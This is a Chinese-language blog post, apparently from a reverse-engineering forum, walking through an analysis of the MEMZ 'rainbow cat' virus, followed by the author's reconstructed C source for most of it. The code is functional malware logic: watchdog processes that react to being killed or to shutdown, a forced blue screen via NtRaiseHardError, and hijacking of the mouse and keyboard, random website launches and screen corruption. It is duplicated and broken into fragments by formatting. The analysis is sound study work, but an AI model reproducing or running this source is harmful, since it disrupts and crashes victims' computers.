第一次分析病毒,拿彩虹猫来练了练手,先自己分析过程,遇到不懂的在看其他师傅的分析,学到很多,本文章将一步步分析彩虹猫病毒的实现过程,并且还原部分代码。
环境:我采用的是吾爱破解的xp系统,里面有很多现成的工具,ida,xdbg都有,只不过ida版本有点低,但是对于本病毒的分析也没太大影响,百度网盘链接:https://pan.baidu.com/s/1YvO264J-atvRUZew8AlS9g 提取码:abcd。(如果有大佬知道怎么在xp系统中使用更高版本的ida,或者有更好的分析病毒的虚拟机,可以在评论区给点资源,谢谢啦)
分析步骤,一般的病毒分析步骤,如下
但是,对于彩虹猫病毒这个样本,里面的函数和逻辑都比较清晰,先在虚拟机里面跑几遍,看看行为,就直接开始分析了。
分析过程大致分为3部分,启动部分,检测部分,彩虹部分,MBR部分。
首先判断该进程的传参,类似于标准 C 运行时argv和argc值。从而走不同的流程。
然后看下面干了什么。
大概就是以不同参数开了6个MEMZ.exe进程。对于里面出现的函数可以到MSDN官方文档去查,举个例子,对于SetPriorityClass(),推荐在谷歌用必应上直接搜索该函数,然后进官方文档看函数参数意义,比如说,我要看0x80代表什么。
这一部分就是用来判断用户是否主动关机,是否主动关闭MEMZ.exe,从而来用函数进行相应措施。
最外层。
然后来看看创建的线程函数check干了什么。
可以看出check函数用来判断是否主动关闭MEMZ.exe。
shutdown()函数中的StartAddress无法直接反编译,先用一位师傅谁的狗哥处理一下函数,然后来看看shutdown()函数。
然后看看创建的20个线程,就是用SetWindowsHookExW()实现了20个随机位置的messagebox弹窗,要理解这一部分,去查阅官方文档的函数。
然后我们跳出来,回到最外层,来看看消息处理函数干了什么。
WM_QUERYENDSESSION,https://blog.csdn.net/jessicaiu/article/details/83107903所以这个就是用来防用户关机的。
到这里检测部分就分析完了。
这部分是参数为/main的MEZE.exe进程执行的。主要表现在电脑桌面的花里胡哨。
这里v9类似于下面的结构
下面来分析这10个函数,里面很多api就不多讲了。
func1(),实现乱打开程序和网站。
func2(),实现鼠标不受控制。
func3(),键盘消息
func4(),发出声音
func5(),桌面变色。
func6(),随机弹窗
func7(),图标显示
func8(),不知道效果,迭代子窗口。
func9(),桌面窗口复制显现。
fun10(),随机复制某块区域。
一些函数的执行次数数是有限的,一些是随机的,可以看线程函数的代码。
这部分也是在以/main为参数的MEMZ.exe实现的。该部分才是真正十分有危害的部分。
MRB介绍:http://c.biancheng.net/view/1015.html,可以很形象的从文章最后一张图片看出MRB就是用来启动操作系统的。而MEMZ.exe的MBR部分就是修改了MRB。
开始我是直接动调,dump出了这段数据,然后拖到ida去分析,但是根本看不了。后面又看了狗哥的方法,就去试了试,还真可以,下面来写写详细过程。
环境搭建,首先我们需要在虚拟机里面下载Bochs,然后双击bximage.exe,然后选择1,选择fd,然后选大小,然后写名称。
将得到的img和bochsrc-sample.txt都复制到新建的文件夹里面,路径桌面都行,但不要有中文。
打开bochsrc-sample.txt的该处修改ata0-master:
然后修改.txt为.bxrc,双击,然后选择continue,ok。
然后将bochsrc-sample..bxrc拖到ida分析,就可以动调了。动调还是一样的,只不过是16位汇编,分析起确实恼火,我也只能通过看反应,和看寄存器来分析个大概。
动调分析。
解密第二部分数据
打印字符串
播放视频
到这里该病毒就差不多分析完了。
几乎除了MRB部分都写了,但是防关机功能并未成功,如果知道问题的大佬可以评论一波。
myblog:The_Itach1
然后附件给一下病毒和dump出的MRB部分吧。
typedef struct {
int
time;
int
(
*
func)();
}functable;
functable a[
10
];
typedef struct {
int
time;
int
(
*
func)();
}functable;
functable a[
10
];
int
wide;
int
high;
HCRYPTPROV hProv;
typedef struct {
int
time;
int
(
*
func)();
}functable;
int
random1()
{
HCRYPTPROV v1;
BYTE pbBuffer[
4
]
=
{
0
};
v1
=
hProv;
if
(!hProv)
{
if
(!CryptAcquireContextW(&hProv,
0
,
0
,
1u
,
0xF0000040
))
ExitProcess(
1u
);
v1
=
hProv;
}
CryptGenRandom(v1,
4u
, pbBuffer);
return
*
(unsigned
int
*
)pbBuffer &
0x7FFFFFFF
;
}
LRESULT CALLBACK CBTProc(
int
nCode, WPARAM wParam, LPARAM lParam)
{
int
mid_wide, mid_high;
DWORD
*
cte;
if
(nCode
=
=
3
)
{
cte
=
*
(DWORD
*
*
)lParam;
if
((
*
(DWORD
*
)(
*
(DWORD
*
)lParam
+
32
) &
0x80400000
) !
=
0
)
{
mid_wide
=
random1()
%
(wide
-
cte[
5
]);
mid_high
=
random1()
%
(high
-
cte[
4
]);
cte[
7
]
=
mid_wide;
cte[
6
]
=
mid_high;
}
}
return
CallNextHookEx(
0
, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;
ThreadId
=
GetCurrentThreadId();
hook
=
SetWindowsHookExW(
5
, CBTProc,
0
, ThreadId);
MessageBoxA(
0
,
"hacked by The_Itach1"
,
"The_Itach1"
,
0x1010u
);
UnhookWindowsHookEx(hook);
return
0
;
}
void BLUE()
{
/
/
typedef void (
*
pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
/
/
typedef void (
*
pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
/
/
HMODULE hMod
=
NULL;
/
/
FARPROC RtlAdjustPrivilege;
/
/
FARPROC NtRaiseHardError;
/
/
unsigned char ErrKill;
/
/
long
unsigned
int
HDErr;
/
/
hMod
=
LoadLibraryA(
"ntdll"
);
/
/
RtlAdjustPrivilege
=
GetProcAddress(hMod,
"RtlAdjustPrivilege"
);
/
/
NtRaiseHardError
=
GetProcAddress(hMod,
"NtRaiseHardError"
);
/
/
pdef_RtlAdjustPrivilege NtCall
=
(pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
/
/
pdef_NtRaiseHardError NtCall2
=
(pdef_NtRaiseHardError)NtRaiseHardError;
/
/
if
(RtlAdjustPrivilege && NtRaiseHardError)
/
/
{
/
/
NtCall(
19
, TRUE, FALSE, &ErrKill);
/
/
NtCall2(
0xc0000233
,
0
,
0
,
0
,
6
, &HDErr);
/
/
}
HMODULE ntdll
=
LoadLibraryA(
"ntdll"
);
FARPROC RtlAdjPriv
=
GetProcAddress(ntdll,
"RtlAdjustPrivilege"
);
FARPROC NtRaiseHardErr
=
GetProcAddress(ntdll,
"NtRaiseHardError"
);
unsigned char ErrKill;
long
unsigned
int
HDErr;
((void(
*
)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(
0x13
, true, false, &ErrKill);
((void(
*
)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(
0xc0000233
,
0
,
0
,
0
,
6
, &HDErr);
}
int
shutdown()
{
int
i;
wide
=
GetSystemMetrics(
0
);
high
=
GetSystemMetrics(
1
);
for
(i
=
0
; i <
1
; i
+
+
)
{
CreateThread(
0
,
0x1000u
, StartAddress,
0
,
0
,
0
);
Sleep(
500
);
}
/
/
BLUE();
return
0
;
}
DWORD WINAPI check(LPVOID lpParam)
{
HANDLE hSnapShot
=
INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int
num
=
0
;
Sleep(
0x3E8u
);
while
(
1
)
{
int
pro_num
=
0
;
pe.dwSize
=
sizeof(PROCESSENTRY32);
hSnapShot
=
CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if
(!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num
+
+
;
}
}
while
(Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
if
(pro_num < num)
{
shutdown();
}
num
=
pro_num;
}
return
0
;
}
int
func1()
{
LPCSTR website[
3
]
=
{
"https://www.baidu.com/"
,
"https://the_itach1.gitee.io/"
,
"https://cn.bing.com/"
};
ShellExecuteA(
0
,
"open"
, website[random1()
%
3
],
0
,
0
,
10
);
return
1
;
}
int
func2()
{
POINT Point;
int
x, y;
GetCursorPos(&Point);
x
=
random1()
%
wide;
y
=
random1()
%
high;
Point.x
=
x;
Point.y
=
y;
SetCursorPos(Point.x, Point.y);
return
1
;
}
int
func3()
{
INPUT
input
;
input
.
type
=
1
;
input
.ki.wVk
=
random1()
%
42
+
0x30
;
printf(
"%d"
,
input
.ki.wVk);
SendInput(INPUT_KEYBOARD, &
input
,
28
);
return
1
;
}
int
func4()
{
LPCSTR pszSound[
3
]
=
{
"SystemHand"
,
"SystemQuestion"
,
"SystemExclamation"
};
int
num
=
random1();
PlaySoundA(pszSound[num
%
3
],
0
,
1u
);
return
1
;
}
int
func5()
{
HWND desktop;
HDC winddc;
RECT rect;
desktop
=
GetDesktopWindow();
winddc
=
GetWindowDC(desktop);
GetWindowRect(desktop, &rect);
printf(
"%d %d %d %d"
, rect.top, rect.bottom, rect.left, rect.right);
BitBlt(winddc,
0
,
0
, rect.right
-
rect.left, rect.bottom
-
rect.top, winddc,
0
,
0
, NOTSRCCOPY);
ReleaseDC(desktop, winddc);
return
1
;
}
DWORD WINAPI threadptr(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;
ThreadId
=
GetCurrentThreadId();
hook
=
SetWindowsHookExW(
5
, CBTProc,
0
, ThreadId);
MessageBoxA(
0
,
"Still using this computer?"
,
"The_Itach1"
,
0x1010u
);
UnhookWindowsHookEx(hook);
return
0
;
}
int
func6()
{
CreateThread(
0
,
0x1000u
, threadptr,
0
,
0
,
0
);
return
1
;
}
int
func7()
{
int
icon_w, icon_h;
HWND desktop;
HDC winddc;
POINT Point;
HICON hicon1, hicon2;
icon_w
=
GetSystemMetrics(
11
)
/
2
;
icon_h
=
GetSystemMetrics(
12
)
/
2
;
printf(
"%d %d\n"
, icon_w, icon_h);
desktop
=
GetDesktopWindow();
winddc
=
GetWindowDC(desktop);
GetCursorPos(&Point);
hicon1
=
LoadIconW(
0
, IDI_ERROR);
DrawIcon(winddc, Point.x
-
icon_w, Point.y
-
icon_h, hicon1);
hicon2
=
LoadIconW(
0
, IDI_EXCLAMATION);
DrawIcon(winddc, random1()
%
wide, random1()
%
high, hicon2);
ReleaseDC(desktop, winddc);
return
1
;
}
int
func9()
{
HWND desktop;
HDC winddc;
RECT Rect;
desktop
=
GetDesktopWindow();
winddc
=
GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
StretchBlt(winddc,
50
,
50
, Rect.right
-
100
, Rect.bottom
-
100
, winddc,
0
,
0
, Rect.right, Rect.bottom, SRCCOPY);
ReleaseDC(desktop, winddc);
return
1
;
}
int
func10()
{
HWND desktop;
HDC winddc;
RECT Rect;
int
x, y, m, n, p, q;
desktop
=
GetDesktopWindow();
winddc
=
GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
x
=
random1()
%
(Rect.right
-
100
);
y
=
random1()
%
(Rect.bottom
-
100
);
m
=
random1()
%
600
;
n
=
random1()
%
600
;
p
=
random1()
%
(Rect.right
-
100
);
q
=
random1()
%
(Rect.bottom
-
100
);
BitBlt(winddc, x, y, m, n, winddc, p, q, SRCCOPY);
ReleaseDC(desktop, winddc);
return
1
;
}
DWORD WINAPI th(LPVOID lpParam)
{
int
i;
for
(i
=
0
; i <
=
30
; i
+
+
)
{
(
*
(
*
(
int
(__cdecl
*
)(void)) lpParam))();
Sleep(
1000
);
}
return
0
;
}
void fungame()
{
functable a[
9
];
int
i;
a[
0
].func
=
func1;
a[
1
].func
=
func2;
a[
2
].func
=
func3;
a[
3
].func
=
func4;
a[
4
].func
=
func5;
a[
5
].func
=
func6;
a[
6
].func
=
func7;
a[
7
].func
=
func9;
a[
8
].func
=
func10;
DWORD
*
lpParam;
for
(i
=
0
; i <
9
; i
+
+
)
{
lpParam
=
(DWORD
*
) a[i].func;
Sleep(
20000
);
CreateThread(
0
,
0
, th, lpParam,
0
,
0
);
Sleep(
100
);
}
}
LRESULT CALLBACK WndProc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
if
(uMsg !
=
16
&& uMsg !
=
22
)
return
DefWindowProcW(hwnd, uMsg, wParam, lParam);
shutdown();
return
0
;
}
int
main()
{
int
i;
int
process_num
=
3
;
WCHAR
*
filename;
LPWSTR cmdline;
LPWSTR
*
Argv;
int
pNumArgs
=
0
;
WNDCLASSEXA wndclass;
MSG Msg;
HWND hWnd;
SHELLEXECUTEINFOW pExecInfo
=
{
0
};
wide
=
GetSystemMetrics(SM_CXFULLSCREEN);
high
=
GetSystemMetrics(SM_CYFULLSCREEN);
cmdline
=
GetCommandLineW();
Argv
=
CommandLineToArgvW(cmdline, &pNumArgs);
if
(pNumArgs >
1
)
{
if
(!lstrcmpW(Argv[
1
], L
"/watch"
))
{
CreateThread(
0
,
0
, check,
0
,
0
,
0
);
wndclass.cbSize
=
48
;
wndclass.lpszClassName
=
"The_Itach1"
;
wndclass.lpfnWndProc
=
WndProc;
wndclass.style
=
0
;
wndclass.cbClsExtra
=
0
;
wndclass.hInstance
=
0
;
wndclass.hIcon
=
0
;
wndclass.hCursor
=
0
;
wndclass.hbrBackground
=
0
;
wndclass.hIconSm
=
0
;
RegisterClassExA(&wndclass);
hWnd
=
CreateWindowExA(
0
,
"The_Itach1"
,
0
,
0
,
0
,
0
,
100
,
100
,
0
,
0
,
0
,
0
);
while
(GetMessageW(&Msg,
0
,
0
,
0
) !
=
0
)
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}
fungame();
while
(
1
)
Sleep(
0x2710u
);
}
if
(MessageBoxA(
0
,
"Are you ready to play the new game?\r\n"
"Please turn off all other processes, and then click OK.\r\n"
,
"The_Itach1"
,
0x34u
)
=
=
6
)
{
filename
=
(WCHAR
*
)LocalAlloc(
0x40u
,
0x4000u
);
GetModuleFileNameW(
0
, filename,
0x2000u
);
for
(i
=
0
; i < process_num; i
+
+
)
{
ShellExecuteW(
0
,
0
, filename, L
"/watch"
,
0
,
10
);
}
pExecInfo.cbSize
=
60
;
pExecInfo.lpFile
=
filename;
pExecInfo.lpParameters
=
L
"/main"
;
pExecInfo.fMask
=
64
;
pExecInfo.hwnd
=
0
;
pExecInfo.lpVerb
=
0
;
pExecInfo.lpDirectory
=
0
;
pExecInfo.hInstApp
=
0
;
pExecInfo.nShow
=
10
;
ShellExecuteExW(&pExecInfo);
SetPriorityClass(pExecInfo.hProcess, HIGH_PRIORITY_CLASS);
}
ExitProcess(
0
);
}
int
wide;
int
high;
HCRYPTPROV hProv;
typedef struct {
int
time;
int
(
*
func)();
}functable;
int
random1()
{
HCRYPTPROV v1;
BYTE pbBuffer[
4
]
=
{
0
};
v1
=
hProv;
if
(!hProv)
{
if
(!CryptAcquireContextW(&hProv,
0
,
0
,
1u
,
0xF0000040
))
ExitProcess(
1u
);
v1
=
hProv;
}
CryptGenRandom(v1,
4u
, pbBuffer);
return
*
(unsigned
int
*
)pbBuffer &
0x7FFFFFFF
;
}
LRESULT CALLBACK CBTProc(
int
nCode, WPARAM wParam, LPARAM lParam)
{
int
mid_wide, mid_high;
DWORD
*
cte;
if
(nCode
=
=
3
)
{
cte
=
*
(DWORD
*
*
)lParam;
if
((
*
(DWORD
*
)(
*
(DWORD
*
)lParam
+
32
) &
0x80400000
) !
=
0
)
{
mid_wide
=
random1()
%
(wide
-
cte[
5
]);
mid_high
=
random1()
%
(high
-
cte[
4
]);
cte[
7
]
=
mid_wide;
cte[
6
]
=
mid_high;
}
}
return
CallNextHookEx(
0
, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;
ThreadId
=
GetCurrentThreadId();
hook
=
SetWindowsHookExW(
5
, CBTProc,
0
, ThreadId);
MessageBoxA(
0
,
"hacked by The_Itach1"
,
"The_Itach1"
,
0x1010u
);
UnhookWindowsHookEx(hook);
return
0
;
}
void BLUE()
{
/
/
typedef void (
*
pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
/
/
typedef void (
*
pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
/
/
HMODULE hMod
=
NULL;
/
/
FARPROC RtlAdjustPrivilege;
/
/
FARPROC NtRaiseHardError;
/
/
unsigned char ErrKill;
/
/
long
unsigned
int
HDErr;
/
/
hMod
=
LoadLibraryA(
"ntdll"
);
/
/
RtlAdjustPrivilege
=
GetProcAddress(hMod,
"RtlAdjustPrivilege"
);
/
/
NtRaiseHardError
=
GetProcAddress(hMod,
"NtRaiseHardError"
);
/
/
pdef_RtlAdjustPrivilege NtCall
=
(pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
/
/
pdef_NtRaiseHardError NtCall2
=
(pdef_NtRaiseHardError)NtRaiseHardError;
/
/
if
(RtlAdjustPrivilege && NtRaiseHardError)
/
/
{
/
/
NtCall(
19
, TRUE, FALSE, &ErrKill);
/
/
NtCall2(
0xc0000233
,
0
,
0
,
0
,
6
, &HDErr);
/
/
}
HMODULE ntdll
=
LoadLibraryA(
"ntdll"
);
FARPROC RtlAdjPriv
=
GetProcAddress(ntdll,
"RtlAdjustPrivilege"
);
FARPROC NtRaiseHardErr
=
GetProcAddress(ntdll,
"NtRaiseHardError"
);
unsigned char ErrKill;
long
unsigned
int
HDErr;
((void(
*
)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(
0x13
, true, false, &ErrKill);
((void(
*
)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(
0xc0000233
,
0
,
0
,
0
,
6
, &HDErr);
}
int
shutdown()
{
int
i;
wide
=
GetSystemMetrics(
0
);
high
=
GetSystemMetrics(
1
);
for
(i
=
0
; i <
1
; i
+
+
)
{
CreateThread(
0
,
0x1000u
, StartAddress,
0
,
0
,
0
);
Sleep(
500
);
}
/
/
BLUE();
return
0
;
}
DWORD WINAPI check(LPVOID lpParam)
{
HANDLE hSnapShot
=
INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int
num
=
0
;
Sleep(
0x3E8u
);
while
(
1
)
{
int
pro_num
=
0
;
pe.dwSize
=
sizeof(PROCESSENTRY32);
hSnapShot
=
CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if
(!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num
+
+
;
}
}
while
(Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
if
(pro_num < num)
{
shutdown();
}
num
=
pro_num;
}
return
0
;
}
int
func1()
{
LPCSTR website[
3
]
=
{
"https://www.baidu.com/"
,
"https://the_itach1.gitee.io/"
,
"https://cn.bing.com/"
};
ShellExecuteA(
0
,
"open"
, website[random1()
%
3
],
0
,
0
,
10
);
return
1
;
}
int
func2()
{
POINT Point;
int
x, y;
GetCursorPos(&Point);
x
=
random1()
%
wide;
y
=
random1()
%
high;
Point.x
=
x;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)